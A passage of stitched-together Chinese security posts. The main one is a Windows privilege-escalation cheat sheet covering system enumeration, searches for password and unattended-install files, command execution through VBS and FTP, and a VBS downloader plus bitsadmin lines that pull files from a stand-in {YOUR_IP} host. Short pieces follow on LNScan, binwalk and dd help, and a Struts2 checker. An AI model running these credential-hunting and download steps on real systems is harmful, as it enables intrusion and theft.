Windows内网渗透提权的几个实用命令

这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。

1.获取操作系统信息

识别操作系统名称及版本:

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.14393 N/A Build 14393
当然中文系统你得这样:

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
识别系统体系结构:

C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%
AMD64

查看所有环境变量:

C:\Users\thel3l> SET
USERNAME=thel3l
USERPROFILE=C:\Users\thel3l
snip
查看某特定用户信息:

C:\Users\thel3l>net user thel3l
User name thel3l
snip
The command completed successfully
2.获取网络信息

查看路由表信息:

C:\Users\thel3l> route print
查看ARP缓存信息:

C:\Users\thel3l> arp -A
查看防火墙规则:

C:\Users\thel3l> netstat -ano
C:\Users\thel3l> netsh firewall show config
C:\Users\thel3l> netsh firewall show state
3.应用程序及服务信息

查看计划任务:

C:\Users\thel3l> schtasks /QUERY /fo LIST /v
中文系统的命令,先调整GBK编码为437美国编码:

chcp 437
然后

schtasks /QUERY /fo LIST /v
查看服务进程ID:

C:\Users\thel3l> tasklist /SVC
查看安装驱动:

C:\Users\thel3l> DRIVERQUERY
查看安装程序和版本信息(漏洞利用线索):

C:\Users\thel3l> wmic product list brief
查看服务、进程和启动程序信息:

C:\Users\thel3l> wmic service list brief
C:\Users\thel3l> wmic process list brief
C:\Users\thel3l> wmic startup list brief
查看.msi程序的执行权限:

C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看是否设置有setuid和setgid:

C:\Users\thel3l>
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
查看安装补丁和时间信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn

查看特定漏洞补丁信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
4.敏感数据和目录

查找密码文件或其它敏感文件:

C:\Users\thel3l> cd/
C:\Users\thel3l> dir /b/s password.txt
C:\Users\thel3l> dir /b/s config.*
C:\Users\thel3l> findstr /si password *.xml *.ini *.txt
C:\Users\thel3l> findstr /si login *.xml *.ini *.txt

无人值守安装文件:

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

5.文件系统

可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:

import os; os.system("cmd /c {command here}")
使用copy con命令创建ftp执行会话:

范例

C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件

ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出

C:\Users\thel3l> ftp.bat # 执行创建的文件

ftp> # 执行ftp命令

ftp> !{command} # e.g. - !dir or !ipconfig
使用copy con命令创建VBS脚本文件:

C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件

Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容

C:\Users\thel3l> commandExec.vbs #执行脚本文件

检查文件夹可写状态:

C:\Users\thel3l> dir /a-r-d /s /b
6.一个有用的文件上传脚本

' downloadfile.vbs

' Set your settings

strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"

strHDLocation = "c:\{FILE_NAME.EXT}"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

该脚本是一个社区发布的,你可以以下这种方式运行它:

C:\Users\thel3l>cscript.exe downloadfile.vbs
bitsadmin命令:

如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:

范例

C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file

C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}

C:\Users\username\Downloads{FILE_NAME.EXT}

如:

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip
*参考来源:thel3l.me,FB小编clouds编译,转载请注明来自FreeBuf(FreeBuf.COM)

LNScan–一个高效的信息探测脚本

前言

对于信息安全工作者,快速了解一个ip段、ip列表或者域名列表的信息(端口、标题、敏感文件等),是进行安全检测的重要一环,LNScan正是为此而生,敏感文件扫描模块改自BBScan.

特点

快速高效,多进程 + 多线程结合
支持指定ip段,或者文件导入(ip/域名)
敏感文件扫描支持多web端口
扫描结束后生成格式鲜明的html报告,方便查看
扫描报告如下图:

x.png

流程

ip段/文件 => title&常见端口扫描 => 提取web端口 => 敏感文件扫描 => 生成report

改进

对一个大型的企业来说,使用layer等工具扫描二级域名,获取的ip/域名并不完全;若发现很多子域名分布在不同的C段,那么针对每个C段扫描就显得任务很重。本工具计划针对导入的ip/域名,进行人为的ip扩展(前后相邻ip或者利用掩码划分更小的段),更大限度的命中目标企业ip。

地址

LNScan

walkbin

walkbin 1.png
dd if=1.png of=2.rar bs=1 skip=100097

binwalk使用手册

root@kali:~# binwalk

Binwalk v1.2.2-1

Craig Heffner, http://www.devttys0.com

Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...

Signature Analysis:

     -B, --binwalk                 Perform a file signature scan (default)

     -R, --raw-bytes=      Search for a custom signature

     -A, --opcodes                 Scan for executable code signatures

     -C, --cast                    Cast file contents as various data types

     -m, --magic=            Specify an alternate magic file to use

     -x, --exclude=        Exclude matches that have in their description

     -y, --include=        Only search for matches that have in their description

     -I, --show-invalid            Show results marked as invalid

     -T, --ignore-time-skew        Do not show results that have timestamps more than 1 year in the future

     -k, --keep-going              Show all matching results at a given offset, not just the first one

     -b, --dumb                    Disable smart signature keywords

Strings Analysis:

     -S, --strings                 Scan for ASCII strings (may be combined with -B, -R, -A, or -E)

     -s, --strlen=              Set the minimum string length to search for (default: 3)

Entropy Analysis:

     -E, --entropy                 Plot file entropy (may be combined with -B, -R, -A, or -S)

     -H, --heuristic               Identify unknown compression/encryption based on entropy heuristics (implies -E)

     -K, --block=             Set the block size for entropy analysis (default: 1024)

     -a, --gzip                    Use gzip compression ratios to measure entropy

     -N, --no-plot                 Do not generate an entropy plot graph

     -F, --marker=    Add a marker to the entropy plot graph

     -Q, --no-legend               Omit the legend from the entropy plot graph

     -J, --save-plot               Save plot as an SVG (implied if multiple files are specified)

Binary Diffing:

     -W, --diff                    Hexdump / diff the specified files

     -K, --block=             Number of bytes to display per line (default: 16)

     -G, --green                   Only show hex dump lines that contain bytes which were the same in all files

     -i, --red                     Only show hex dump lines that contain bytes which were different in all files

     -U, --blue                    Only show hex dump lines that contain bytes which were different in some files

     -w, --terse                   Diff all files, but only display a hex dump of the first file

Extraction Options:

     -D, --dd=     Extract signatures, give the files an extension of , and execute

     -e, --extract=[file]          Automatically extract known file types; load rules from file, if specified

     -M, --matryoshka              Recursively scan extracted files, up to 8 levels deep

     -r, --rm                      Cleanup extracted files and zero-size files

     -d, --delay                   Delay file extraction for files with known footers

Plugin Options:

     -X, --disable-plugin=   Disable a plugin by name

     -Y, --enable-plugin=    Enable a plugin by name

     -p, --disable-plugins         Do not load any binwalk plugins

     -L, --list-plugins            List all user and system plugins by name

General Options:

     -o, --offset=            Start scan at this file offset

     -l, --length=            Number of bytes to scan

     -g, --grep=             Grep results for the specified text

     -f, --file=             Log results to file

     -c, --csv                     Log results to file in csv format

     -O, --skip-unopened           Ignore file open errors and process only the files that can be opened

     -t, --term                    Format output to fit the terminal window

     -q, --quiet                   Supress output to stdout

     -v, --verbose                 Be verbose (specify twice for very verbose)

     -u, --update                  Update magic signature files

     -?, --examples                Show example usage

     -h, --help                    Show help output

这篇文章也很详细http://www.freebuf.com/tools/15266.html

附录3:dd使用

root@kali:~/binwalk Picture# dd --help

用法:dd [操作数] ...

 或:dd 选项

复制文件,依照操作数转换并格式化。

bs=比特数 一次读写的比特数

cbs=比特数 一次转换的比特数

conv=CONVS 依照每个逗号分割的标志列表转换文件

count=块数 只将指定个块数复制到块

ibs=比特数 一次读取的比特数(默认:512)

if=文件 从指定文件中读取

iflag=符号 按照以逗号分隔的符号列表指定的方式读取

obs=比特数 一次写入指定比特数(默认:512)

of=文件 写入到指定文件

oflag=符号 按照以逗号分隔的符号列表指定的方式写入

seek=块数 在输出开始处跳过指定的块数

skip=块数 在输入开始处跳过指定的块数

status=noxfer 禁止传输统计

块和字节数后可能带有以下的一个或多个后缀:

c =1, w =2, b =512, kB =1000, K =1024, MB =10001000, M =10241024, xM =M

GB =100010001000, G =102410241024, and so on for T, P, E, Z, Y.

每个 CONV 符号可能为:

ascii 由EBCDIC 码转换至ASCII 码

ebcdic 由ASCII 码转换至EBCDIC 码

ibm 由ASCII 码转换至替换的EBCDIC 码

block 将结束字符块里的换行替换成等长的空格

unblock 将cbs 大小的块中尾部的空格替换为一个换行符

lcase 将大写字符转换为小写

ucase 将小写字符转换为大写

swab 交换每一对输入数据字节

sync 将每个输入数据块以NUL 字符填满至ibs 的大小;当配合block

               或unblock 时,会以空格代替NUL 字符填充

excl fail if the output file already exists

nocreat do not create the output file

notrunc 不截断输出文件

noerror 读取数据发生错误后仍然继续

fdatasync 结束前将输出文件数据写入磁盘

fsync 类似上面,但是元数据也一同写入

FLAG 符号可以是:

append 追加模式(仅对输出有意义;隐含了conv=notrunc)

direct 使用直接I/O 存取模式

directory 除非是目录,否则directory 失败

dsync 使用同步I/O 存取模式

sync 与上者类似,但同时也对元数据生效

fullblock 为输入积累完整块(仅iflag)

nonblock 使用无阻塞I/O 存取模式

noatime 不更新存取时间

nocache 丢弃缓存数据

noctty 不根据文件指派控制终端

nofollow 不跟随链接文件

对运行中的"dd"进程发送一个USR1 信号会使得

I/O 的统计信息被打印到标准错误设备然后恢复复制操作。

$ dd if=/dev/zero of=/dev/null& pid=$!

$ kill -USR1 $pid; sleep 1; kill $pid

18335302+0 records in

18335302+0 records out

9387674624 bytes (9.4 GB) copied, 34.6279 seconds, 271 MB/s

可用选项有:

  --help             显示此帮助信息并退出

  --version                显示版本信息并退出

请向bug-coreutils@gnu.org 报告dd 的错误

GNU coreutils 的主页:

GNU 软件一般性帮助:

请向 报告dd 的翻译错误

要获取完整文档,请运行:info coreutils 'dd invocation'

Struts2多版本一次性检测工具

本工具包含了S2-005、S2-009、S2-016、S2-019、S2-032、S2-033、S2-037漏洞一次性检测
可能有其他的版本未添加,目前我只收集了这些POC,如果有其他版本的可以联系我.

警告:
该工具仅做漏洞自查使用,请勿非法攻击他人网站!

工具预览图:
1.png

点击下载